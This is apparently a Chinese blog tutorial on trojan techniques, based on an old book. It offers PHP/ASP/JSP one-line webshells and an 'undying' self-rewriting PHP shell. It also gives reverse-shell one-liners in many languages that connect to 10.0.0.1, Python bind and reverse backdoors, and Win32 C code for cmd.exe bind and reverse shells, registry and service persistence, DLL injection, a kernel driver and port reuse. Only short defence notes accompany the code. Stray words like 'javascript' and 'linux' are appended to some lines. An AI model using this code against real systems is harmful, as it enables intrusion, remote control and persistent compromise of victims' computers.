本文參考老書《木馬技術揭祕與防護》javascript
#0x00 國內木馬歷史php
97年時,網絡還沒有在國內普及,木馬是當時少數人手裏的高科技,那時的木馬主要來自國外的BO和SubSeven,直到國產木馬冰河出現前端
才標誌國內用戶迎來網絡木馬混沌時代。00年用戶對電腦防禦意識毫無概念,防火牆又仍在探索和發展,使得冰河木馬極其容易滲透進毫java
無防備的電腦,許多人也就靠冰河入了門。這個時代的木馬缺少自我保護,很容易在啓動項中發現查殺。python
隨着防火牆的誕生,NAT和端口過濾讓冰河木馬一晚上間忽然失效。這是由於就算電腦中了冰河,也由於局域網技術和NAT轉換使得外網主機無linux
法用經過IP找到肉雞。網吧就是一個明顯的例子。其次防火牆端口過濾會讓木馬開啓的很是見服務的端口被阻擋。git
通過一段時間的沉寂後,一種新型木馬概念被提出: 反彈木馬,肉雞和控制機角色互換,變成控制機主動開端口,肉雞反向鏈接控制端,這樣github
一方面不須要知道肉雞IP地址,另外一方面不須要主動開啓端口,成功的將NAT技術和端口過濾技術繞過,採用此概念的木馬: 網絡神偷, 該木馬用於web
盜取電腦文件。shell
反彈木馬雖然好,可是須要控制機的公網IP固定,通常服務器地址都寫死在木立刻了,可是黑客的控制機爲了不被跟蹤都不會使用固定的公網IP
針對這個問題,可用動態域名技術解決,木馬反彈的地址是固定的域名,而這個域名映射的IP倒是能夠變化的,也就是DDNS。典例:灰鴿子
一時間,反彈木馬的出現把防火牆打的慘不忍睹,一波未平一波又起,03年出現了頭疼系列: 廣外女生,廣外男生,廣外幽靈,這三個木馬都使用
了當時頗感新鮮的技術:遠程線程注射。作到了真正意義上的無進程,具體原理下面會說,大致上就是往系統進程裏注射木馬句柄運行。隱蔽性大幅
提高。查殺須要用戶掌握必定的電腦知識。
再說說木馬界佔了一半江山且歷史悠久的網頁木馬,早期網頁木馬主要針對瀏覽器漏洞實現自動下載和自動運行木馬實現感染手段,原理主要是經過
構造畸形語句讓瀏覽器緩衝器溢出,用戶在瀏覽網頁的時候不知不覺就已經中了木馬,讓人防不勝防。當從此端語言的崛起使得webshell的概念也萌生
主要是後端語言便可以執行系統命令,又能夠接收用戶參數,一句話木馬也就火了起來。
當今,隨着各類安全衛士和殺毒軟件的發展,老一代的木馬基本被淘汰。隨着魔高一尺道高一丈的PK,交戰平臺轉移到系統內核層,這一層擁有至高
無上的權限,一旦木馬進入這一層,全部的殺毒軟件通通都將成爲木馬的傀儡。現在人們的安全意識也由於病毒帶來的損失而提升起來,但安全的步伐
將永遠走下去,近兩年甚至出現 `硬件漏洞`,帶來的影響直接致使性能降低。因此沒有絕對安全的系統。
# 0x01 webshell木馬
1. webshell這類木馬,基於Http,不需寫底層通訊socket,只關注用戶傳入參數和執行系統命令便可,下面是不一樣語言的一句話木馬
php一句話木馬
#原理: 把用戶傳遞過來的post請求內容用eval轉成代碼執行 <?php @eval($_POST['x'])?>
asp一句話木馬
<!-- 原理與php差很少 --> <%execute request("value")%> <%eval request("value")%>
aspx一句話木馬
<%@ Page Language="Jscript"%> <%eval(Request.Item["value"])%>
jsp一句話木馬
//沒學過java,jsp可能缺少eval函數,需先把代碼寫到jsp文件,再訪問該文件執行code // jsp代碼寫入器後端 <% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %> // jsp代碼寫入器前端 <form name=get method=post> Server Addrress: <input name=url size=110 type=text><br><br> <textarea name=t rows=20 cols=120>java code</textarea><br> Save Filename: <input name=f size=30 value=shell.jsp> <input type=button onclick="javascript:get.action=document.get.url.value;get.submit()" value=submit> </form>
2. 一句話木馬雖然短小精悍,可是網絡安全狗都能很輕易嗅探到這些包含特徵代碼的木馬文件,所以一句話木馬也出現了奇奇怪怪的變形。下面只舉例一些比較有意思的
簡潔的變形馬
<?php @$_=$_GET[1].@$_($_GET[2])?>
利用方式: http://xxx.com/a.php?1=assert&2=phpinfo();
原理: $_是一個變量,該變量保存 $_GET[1]參數的值,點是php字符串鏈接符,後一段拼接後就變成 @$_GET[1]($_GET[2]);
這樣若是$_GET[1]是assert的話,$_GET[2]就能夠放php代碼,也就變成 @assert("phpinfo()");
不死馬
<?php set_time_limit(0); ignore_user_abort(true); $file = 'demo.php'; $shell = '<?php eval($_GET[1]);?>'; while(1){ file_put_contents($file, $shell); system("chmod 777 demo.php"); usleep(50); } ?>
一旦訪問執行上面的代碼,就會產生demo.php不死木馬,就算這個代碼被關閉,也會一直產生刪不掉的木馬,惟一解決辦法就算重啓,很噁心
ignore_user_abort 使得頁面就算被關閉,腳本依然執行,set_time_limit設置腳本運行時間,若是設置成0,腳本將永久執行,夠噁心吧
畸形木馬還有不少,你們能夠去網上搜,這裏就不繼續列舉了。
3. 當咱們拿到webshell通常執行的權限都是web用戶權限,因此下一步就是藉助webshell進行提權,提權離不開反彈shell,由於webshell屬於那種一次性shell
就是執行一條命令就斷開鏈接,並不是持續的shell,這不利於提權,爲了創建持久shell,咱們可以使用執行命令來反彈shell,下面是各類語言的反彈shell的代碼
bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
perl
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
nc
nc -e /bin/sh 10.0.0.1 1234 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
java
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
php
$sock = fsockopen($ip, $port); $descriptorspec = array( 0 => $sock, 1 => $sock, 2 => $sock ); $process = proc_open('/bin/sh', $descriptorspec, $pipes); proc_close($process);
補充: 若是拿到的shell沒有命令提示符,能夠用 python 開啓命令提示符
python -c 'import pty;pty.spawn("/bin/bash")'
#0x02 可執行木馬
webshell木馬不須要關心底層通訊協議,由於webshell基於HTTP協議,但可執行程序或者腳本木馬須要本身編寫底層的TCP UDP接口。
通常咱們要打開一個監聽端口接收網絡數據都須要執行這幾步: 建立Socket -> bind端口和地址 -> listen監聽 -> accept收到數據處理。
因python簡潔性,因此下面是用python編寫服務器和客戶端例子
python客戶端
#!/usr/bin/python #coding:utf-8 import socket import sys socket.setdefaulttimeout(5) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = "www.baidu.com" port = 80 remote_ip = socket.gethostbyname( host ) message = "GET / HTTP/1.1\r\n\r\n" s.connect((remote_ip, port)) s.sendall(message) reply = s.recv(4096) print reply
python服務器
#!/usr/bin/python #coding:utf-8 import socket import sys HOST = '' PORT = 444 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((HOST, PORT)) s.listen(10) while 1: conn, addr = s.accept() print "[+] connecting" , addr[0] + ":" , addr[1] conn.send("Welcome to the server. Type something like:" "COOKIE,GET,POST and hit <ENTRE>\n") while 1: data = conn.recv(1024) print data if data == "GET\n": data = "OK, wait a moment\n" if data == "POST\n": data = "I am not a http server\n" if data == "COOKIE\n": data = "a cookie Biscuits??\n" if data: conn.sendall(data) else: break conn.close() s.close()
其實客戶端不用編寫,用nc鏈接也是能夠的,上面只是簡單實現瞭如何將客戶端的數據發送給服務端,試想一下,若是咱們發送的數據
被當作系統命令執行,那麼木馬豈不是就造成了,而且咱們還要實現長久監聽服務,長鏈接,否則用一次就不監聽可還行?
python 正向木馬
#!/usr/bin/python #coding:utf-8 import socket import sys import commands from thread import * HOST = '' PORT = 854 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((HOST, PORT)) s.listen(10) def clientthread(conn): conn.send("Welcome demon's backdoor!".center(50,"*") + "\n") while 1: conn.send("Demon_Backdoor# ") data = conn.recv(1024) if data: cmd = data.strip("\n") code,res = commands.getstatusoutput(cmd) if code == 0 : conn.sendall(res+"\n") else: print "[-]Error: code",code data = "" else: break conn.close() while 1: conn, addr = s.accept() print "[+] connecting" , addr[0] + ":" , addr[1] start_new_thread(clientthread, (conn,)) s.close()
python 反彈木馬
#!/usr/bin/python #coding:utf-8 import socket import sys import commands from time import sleep from thread import * HOST = "192.168.10.24" PORT = 444 def clientthread(s): global isConnect s.send("Welcome demon's backdoor!".center(50,"*") + "\n") while 1: s.send("Demon_Backdoor# ") data = s.recv(1024) if data : cmd = data.strip("\n") code,res = commands.getstatusoutput(cmd) if code == 0 : s.sendall(res+"\n") else: print "[-]Error: code",code data = "" else: break while 1: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) print "[+] connecting" , HOST + ":", PORT clientthread(s) #start_new_thread(clientthread, (s,)) s.close() except: sleep(0.5)
Mini木馬程序剖析:
原理:
經典的木馬原理是在肉雞上開啓端口監聽服務,若是有客戶端鏈接進來,就會打開cmd.exe開啓一個shell,並和客戶端創建雙向管道,即客戶端能遠程操控cmd.exe
代碼:
GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath)); WSAStartup(0x0202, &WSADa); Ssock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); SockAddr.sin_family = AF_INET; SockAddr.sin_addr.s_addr = INADDR_ANY SockAddr.sin_port = htons(999); bind(Ssock, (sockaddr*)&SockAddr, sizeof(sockaddr)); listen(Ssock, 1); iAddrSize = sizeof(SockAddr); Csock = accept(Ssock, (sockaddr*)&SockAddr, &iAddrSize); StartupInfo.hStdInput = StartupInfo.hStdOutput = StartupInfo.hStdError = (HANDLE)Csock; CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);
這個代碼段是Mini木馬中的核心一段,完整代碼在這裏
分析:
首先獲取cmd.exe程序的路徑,保存到szCMDPath變量中。
建立windows socket, 版本號選擇2.2, 0x0202等價於 MAKEWORD(2,2),起名爲Ssock
配置服務端Socket,設置協議棧,監聽地址,監聽端口,配置保存在變量SockAddr中
Ssock 套接字和 SockAddr配置進行綁定,而後經過listen函數開啓監聽,這樣服務端就啓動服務了
accpet函數能夠接收客戶端的鏈接,若是沒有鏈接會一直阻塞監聽,有鏈接會返回客戶端的接口Csock,裏面有客戶端鏈接的IP和端口號
StartupInfo是關於窗體程序的相關配置,這裏將窗體的輸入輸出設置成客戶端接口句柄,這樣客戶端就能夠寫入和讀取窗體的數據了。
最後建立一個進程運行cmd.exe,而且將上面的Startupinfo的配置應用於該進程當中,而後客戶端就能夠發送cmd命令進行控制。
防範:
對於這類會在肉雞上主動開啓端口監聽的通常都會被防火牆攔截,只要開啓防火牆就行。
註冊表修改技術:
原理:
Windows的註冊表能實現不少功能,對於木馬來講,修改註冊表可實現: 開機自啓木馬,關閉殺軟,開啓3389,破壞系統等等操做
而win32 API提供了一套對註冊表的讀寫操做。下面簡單介紹一下該API
代碼:
HKEY hKey; TCHAR keyValue[128]; char subkey[] = "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0"; char keynameR[] = "ProcessorNameString"; char keynameW[] = "HackerName"; char keynameD[] = "WillBeDeleted"; DWORD dwDisposition = REG_OPENED_EXISTING_KEY; //讀註冊表 RegOpenKeyEx(HKEY_LOCAL_MACHINE, subkey, 0, KEY_QUERY_VALUE, &hKey); RegQueryValueEx(hKey, keynameR, NULL, NULL, (LPBYTE)keyValue, &dwSize); RegCloseKey(hKey); printf("%s\n", keyValue); //寫註冊表 RegCreateKeyEx(HKEY_LOCAL_MACHINE, subkey, 0, NULL,REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, &dwDisposition); RegSetValueEx(hKey, keyNameW, 0, REG_SZ, (BYTE*)"demon", dwSize); RegCloseKey(hKey); //刪註冊表 RegOpenKeyEx(hRootKey, subKey, 0, KEY_ALL_ACCESS, &hKey); RegDeleteValue(hKey, keyNameD); RegCloseKey(hKey);
分析:
這段代碼演示了註冊表的讀寫和刪除,還有不少API這裏沒有列舉到,你們能夠參考MSDN
要對註冊表讀寫操做前,都須要先打開註冊表,打開註冊表能夠經過 RegOpenKeyEx 和 RegCreateKeyEx 這兩個函數,須要指明根鍵和子健,根鍵包含下面5個
HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS
HKEY_CURRENT_CONFIG
若是鍵值不存在,RegCreateKeyEx函數則會建立該鍵值。打開註冊表句柄時還須要指明權限,這裏給 KEY_ALL_ACCESS 表示句柄擁有全部權限。其餘權限其參考 MSDN
防範:
有了註冊表的讀寫操做,那麼 木馬程序通常會利用註冊表實現開機自啓動,下面是註冊表裏常見的加載點
註冊表加載點: [HEKY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]中 userinit 鍵用逗號分割添加程序路徑,便可隨系統啓動而啓動 * [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Winlogon\CurrentVersion\Run] [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Winlogon\CurrentVersion\Policies\Explorer\Run] #Run 本身創 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Winlogon\CurrentVersion\Run] 添加 REG_SZ 類型的鍵值 便可,名稱隨便,值爲程序路徑 * 更深的加載點: [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\load] [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services] [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] shell字符串類型鍵值中,默認爲 Explorer.exe 以木馬參數形式調用資源管理器 [HKEY_LOCAL_MACHINE\System\ControlSet001\Session Manager] BootExecute 多字符串鍵值,默認爲: "autocheck autochk *" 用於系統啓動自檢,在圖形界面前運行優先級高
針對上面的加載點,咱們能夠去檢查這些位置,若是發現異常的程序,對其刪除查殺便可。
服務註冊技術:
原理:
服務是執行指定的系統功能,進程等,以便支持其餘程序。服務是一種特殊的應用程序,可被SCM(服務管理控制器)進行操控。
若是服務設置成自動,那麼隨着系統的啓動也會被啓動,啓動後會一直在後臺運行,相似linux的守護進程,所以木馬程序也能夠
將本身註冊成服務,悄悄的在系統當中被看成服務一直運行。
代碼:
[SCM code] char serviceName[] = "YourServiceName"; SC_HANDLE schSCManager; SC_HANDLE schService; SERVICE_STATUS status; schSCManager = schSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); schService = OpenService(schSCManager, serviceName, SERVICE_ALL_ACCESS); //改變服務自啓方式 ChangeServiceConfig( schService, //handle SERVICE_NO_CHANGE, //service type SERVICE_AUTO_START, //service start type SERVICE_NO_CHANGE, //error control NULL, //binary path NULL, //load order group NULL, //tag ID NULL, //dependencies NULL, //account name NULL, //password NULL, //display name ); //改變服務的描述信息 SERVICE_DESCRIPTION sd; LPCTSTR szDesc = TEXT("This is new description"); sd.lpDescription = szDesc; ChangeServiceConfig2(schService, SERVICE_CONFIG_DESCRIPTION, &sd); //控制服務運行狀態 StartServiceA(schService, NULL, NULL); ControlService(schService, SERVICE_CONTROL_STOP, &status); ControlService(schService, SERVICE_CONTROL_PAUSE, &status); ControlService(schService, SERVICE_CONTROL_CONTINUE, &status); //查詢服務配置信息 DWORD dwBytesNeeded, cbBufSize,; LPQUERY_SERVICE_CONFIG lpsc; QueryServiceConfig(schService, NULL, 0, &dwBytesNeeded); cbBufSize = dwBytesNeeded; lpsc = (LPQUERY_SERVICE_CONFIG)LocalAlloc(LMEM_FIXED, cbBufSize); QueryServiceConfig(schService, lpsc, cbBufSize, &dwBytesNeeded); LPSERVICE_DESCRIPTION lpsd; QueryServiceConfig2(schService, SERVICE_CONFIG_DESCRIPTION, NULL, 0, &dwBytesNeeded); cbBufSize = dwBytesNeeded; lpsd = (LPSERVICE_DESCRIPTION)LocalAlloc(LMEM_FIXED, cbBufSize); QueryServiceConfig2(schService, SERVICE_CONFIG_DESCRIPTION, (LPBYTE)lpsd, cbBufSize, &dwBytesNeeded); printf(" Type: 0x%x\n", lpsc->dwServiceType); printf(" Start Type: 0x%x\n", lpsc->dwStartType); printf(" Binary Path: %s\n", lpsc->lpBinaryPathName); printf(" Account: %s\n", lpsc->lpServiceStartName); printf(" Description: %s\n", lpsd->lpDescription); printf(" Dependencies: %s\n", lpsc->lpDependencies);
分析:
這段代碼是經過SCM接口對指定的服務進行:修改配置,啓動關閉,設置自啓,顯示信息等相關操做
經過 schSCManager 打開 SCM, 再利用 OpenService 打開Services, 並給予對服務全部操做權限: SERVICE_ALL_ACCESS;
ChangeServiceConfig 能夠修改服務的配置信息,好比設置啓動方式,服務類型,顯示名稱等
ChangeServiceConfig2 能夠修改服務的描述信息
StartServiceA 能夠打開服務,而中止,暫停,繼續操做能夠經過ControlService 函數操做
QueryServiceConfig 能夠查詢服務配置信息,可是查詢前須要先利用該函數查詢結構體長度 dwBytesNeeded 來分配給 lpsc 足夠的空間
QueryServiceConfig2 能夠查詢服務的描述信息,和上面同樣須要先查詢分配空間的大小。
代碼:
//註冊服務 LPCTSTR lpszBinaryPathName; char strDir[1024], chSysPath[1024]; SC_HANDLE schSCManager, schService; SERVICE_STATUS status; strcpy(lpszBinaryPathName, "/path/to/exefile") schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); schService = CreateService(schSCManager,"ServiceName","ServiceName", SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, lpszBinaryPathName, NULL, NULL, NULL, NULL, NULL); if (schService) printf("Install service success!!\n"); //刪除服務 schSCManager = OpenSCManager(NULL,NULL, SC_MANAGER_CREATE_SERVICE); schService = OpenService(schSCManager, "ServiceName", SERVICE_ALL_ACCESS|DELETE); QueryServiceStatus(schService, &status); if( status.dwCurrentState != SERVICE_STOPPED ) ControlService(schService, SERVICE_CONTROL_STOP, &status); Sleep(500); DeleteService(schService); CloseServiceHandle(schSCManager);
分析:
經過上面的代碼,木馬程序能夠將本身註冊成系統服務,而且設置自動運行實現開機自啓。
防範:
可經過枚舉全部服務,而後查看服務對應的執行文件,也就是上面註冊代碼的 lpszBinaryPathName 變量值,對其進行查殺便可
進程注射技術:
原理:
什麼是進程? 進程是一個線程擁有本身的代碼空間和運行空間的正在運行的程序,裏面包含多個線程。
什麼是DLL? 動態連接庫,沒法獨立運行,可被執行程序加載並調用
對於windows系統,進程之間的內存地址是相互隔離的,也就進程之間不可相互訪問對方的地址。
可是windows系統爲了能方便的讓兩個程序訪問同一塊內存,windows提供了虛擬內存來共享解決該問題。
進程注射技術就是利用DLL木馬在某進程中開闢虛擬空間來運行,但須要提高到Debug模式纔有權限注射進程。
代碼:
// 提權代碼 HANDLE hToken; TOKEN_PRIVILEGES pTP; LUID uID; OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken); LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&uID); pTP.PrivilegeCount = 1; pTP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pTP.Privileges[0].Luid = uID; AdjustTokenPrivileges(hToken, FALSE, &pTP,sizeof(TOKEN_PRIVILEGES),NULL,NULL) // 對指定的PID進程注射 DWORD pid = 1433; char dll[] = "c:\\muma.dll"; hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); pszLibFileRemote = (char *)VirtualAllocEx(hRemoteProcess, NULL, lstrlen(dll)+1, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hRemoteProcess, pszLibFileRemote,(void*)dll, lstrlen(dll)+1, NULL); pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32.dll")), "LoadLibraryA"); hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL); CloseHandle(hRemoteProcess); CloseHandle(hRemoteThread);
分析:
代碼首先進行debug提權,利用 AdjustTokenPrivileges 函數,傳入配置結構體 pTP ,該結構體指明瞭 SE_PRIVILEGE_ENABLED; 權限啓用。
注射進程基本步驟: OpenProcess 打開進程句柄 -> VirtualAllocEx開闢虛擬空間 -> WriteProcessMemory 寫dll路徑到虛擬空間
-> GetProcAddress 搜索LoadLibraryA 函數地址 -> CreateRemoteThread 在進程上建立新的線程並執行 dll 代碼。
代碼:
void listAllProcessInfo(){ PROCESSENTRY32 lPrs; HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); ZeroMemory(&lPrs, sizeof(lPrs)); lPrs.dwSize = sizeof(lPrs); Process32First(hSnap, &lPrs); printf("pid\t\tppid\t\tname\n"); printf("-------------------------------------------\n"); while(1){ printf("%d\t\t%d\t\t%s\n", lPrs.th32ProcessID, lPrs.th32ParentProcessID, lPrs.szExeFile); if(!Process32Next(hSnap, &lPrs)) break; } }
上面這段代碼能夠枚舉全部進程先關信息,包括pid, 和 tastlist 同樣效果
內核Rootkit技術:
原理:
操做系統的存在使得計算機硬件對於應用程序變得不可見,若應用程序須要訪問硬件資源則須要向內核發送請求。
因此程序運行的模式有兩種,一個是用戶態Ring3, 一個是內核態Ring0,正常下程序根本沒有機會修改內核,可是若
程序運行在內核態既能夠訪問系統任何代碼和數據了!而應用程序想進入內核態也有不少辦法,經常使用的就是編寫驅動程序
環境: 須要安裝 WDK/DDK
代碼:
#include <ntddk.h> VOID Unload(IN PDRIVER_OBJECT DriverObject){} NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING UnicodeString){ UNICODE_STRING path; UNICODE_STRING name; UNICODE_STRING data; OBJECT_ATTRIBUTES oa; HANDLE myhandle = NULL; RtlInitUnicodeString(&path, L"\\Registry\\Machine\\HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0"); RtlInitUnicodeString(&name, L"demon"); RtlInitUnicodeString(&data, L"hello,demon"); InitializeObjectAttributes(&oa, &path, OBJ_CASE_INSENSITIVE,NULL, NULL); ZwOpenKey(&myhandle, KEY_WRITE, &oa); ZwSetValueKey(myhandle, &name, 0, REG_SZ, data.Buffer, data.Length); ZwClose(myhandle); DriverObject->DriverUnload = Unload; return STATUS_SUCCESS; }
分析:
上面是驅動程序,做用是在註冊表上添加一些信息,能夠看出Ring3 和 Ring0一樣功能不一樣一套API
而後經過編寫MAKEFILE 和 SOURCES文件就能夠編譯生成 驅動模塊.sys , 代碼
有了驅動模塊後,咱們還需將驅動程序註冊服務,這樣下次系統啓動就會啓動這個驅動。註冊服務也是用SCM來註冊
可是註冊類型爲 SERVICE_KERNEL_DRIVER,表示爲系統驅動,代碼以下:
scm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); sh = CreateService(scm, "DriverName", "DriverName", SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, "path/to/yourDrv.sys", NULL, NULL, NULL, NULL, NULL); CloseServiceHandle(scm); CloseServiceHandle(sh);
防範:
經過 PCHunter 工具能夠列出全部的系統驅動模塊,通常不是windows 或知名產商簽名的驅動都要多是惡意驅動,手動卸載便可
管道通信技術:
原理:
若是是創建普通的C語言socket,則須要建立兩個管道,一個用於讀,一個用於寫,這樣便可實現通訊。
若是是用WSASocket建立的,則能夠直接將窗體讀寫指向句柄便可。代碼比較簡單。
代碼:
[socket] WSAStartup(MAKEWORD(2,2), &wsa); listenFD = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); server.sin_family = AF_INET; server.sin_port = htons(999); server.sin_addr.s_addr = ADDR_ANY; bind(listenFD, (sockaddr *)&server, sizeof(server)); listen(listenFD, 2); clientFD = accept(listenFD, (sockaddr*)&server, &iAddrSize); CreatePipe(&hReadPipe1, &hWritePipe1, &sa, 0); CreatePipe(&hReadPipe2, &hWritePipe2, &sa, 0); si.hStdInput = hReadPipe2; si.hStdOutput = si.hStdError = hWritePipe1; CreateProcess(NULL, "cmd.exe", NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation); while(1){ PeekNamedPipe(hReadPipe1, Buff, 1024, &lBytesRead, 0, 0); if(lBytesRead){ ReadFile(hReadPipe1, Buff, lBytesRead, &lBytesRead, 0); send(clientFD, Buff, lBytesRead, 0); }else{ recv(clientFD, Buff, 1024, 0); WriteFile(hWritePipe2, Buff, lBytesRead, &lBytesRead, 0); } }
分析:
這段代碼使用C語言原生API建立一個socket, 並 CreatePipe建立兩個管道,管道一端只能讀,另外一端只能寫
CreateProcess 建立一個cmd.exe的進程,這個進程的標準輸出定向到管道1,輸入從管道2獲取。
while死循環用戶監聽管道1的數據,也就是cmd.exe發出的數據,一旦監聽到就發送給客戶端。
另外,客戶端一旦接受到數據,就會寫入到管道2,這樣cmd.exe就能從管道2讀取到數據,雙向管道創建完成。
代碼:
[WSASocket] WSAStartup(MAKEWORD(2,2), &wsa); listenFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); server.sin_family = AF_INET; server.sin_port = htons(999); server.sin_addr.s_addr = ADDR_ANY; bind(listenFD, (sockaddr *)&server, sizeof(server)); listen(listenFD, 2); clientFD = accept(listenFD, (sockaddr*)&server, &iAddrSize); si.hStdInput = si.hStdOutput = si.hStdError = clientFD; CreateProcess(NULL, "cmd.exe", NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation);
分析:
使用Win32 API的WSASocket建立的socket能夠直接對其句柄讀寫操做,大大節省了代碼,就不須要建立
兩個管道來通訊了。
反彈木馬技術:
原理:
黑客攻擊機開啓端口監聽,肉雞主動反向鏈接黑客的IP,這樣作能夠繞過防火牆的攔截,畢竟是肉雞主動向外發送請求
代碼:
sock = WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); sin.sin_family = AF_INET; sin.sin_port = htons(444); sin.sin_addr.s_addr = inet_addr("192.168.10.1"); while( connect(sock, (struct sockaddr*)&sin, sizeof(sin)) ) Sleep(30000); si.hStdInput = si.hStdOutput = si.hStdError = (void*)sock; CreateProcess(NULL, "cmd.exe", NULL, NULL, 1, 0, NULL, NULL, &si, &pi);
分析:
這段代碼先創建一個客戶端socket , 經過connect 能夠主動鏈接,while語句和sleep語句讓木馬
每一個3秒嘗試反彈一次shell,若是鏈接成功,建立一個cmd.exe進程並將輸入輸出定向到該socket
端口重用技術:
原理:
當服務器的一個服務監聽了一個端口,那麼這個端口就不能被其餘程序再使用了,可是Socket有一項技術
可使得端口被重用,一旦端口被重用,防火牆放行的端口就成爲了木馬的監聽端口。
代碼:
WSAStartup(MAKEWORD(2,2), &wsa); ssock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); setsockopt(ssock, SOL_SOCKET, SO_REUSEADDR, (char*)&val, sizeof(val)); sin.sin_family = AF_INET; sin.sin_port = htons(80); sin.sin_addr.s_addr = inet_addr("192.168.10.1"); sinSize = sizeof(sin); bind(ssock, (sockaddr*)&sin, sinSize); listen(ssock, 2); csock = accept(ssock, (sockaddr*)&sin, &sinSize); ZeroMemory(&si, sizeof(si)); si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; si.hStdInput = si.hStdOutput = si.hStdError = (void*)csock; CreateProcess(NULL, "cmd.exe", NULL, NULL, 1, 0, NULL, NULL, &si, &pi);
分析:
端口複用技術主要是經過 setsockopt函數 來設置端口複用, SO_REUSEADDR設置後就能夠重用端口了。
另外上面代碼須要注意的是監聽地址不是 0.0.0.0 ,也就是說若是使用 192.168.10.1 地址訪問看到的就是
木馬,但若是是用 127.0.0.1 去訪問看到的就是web網站。
防範:
netstat -ano 能夠看到有兩條不一樣的監聽地址相同的監聽端口在等待監聽。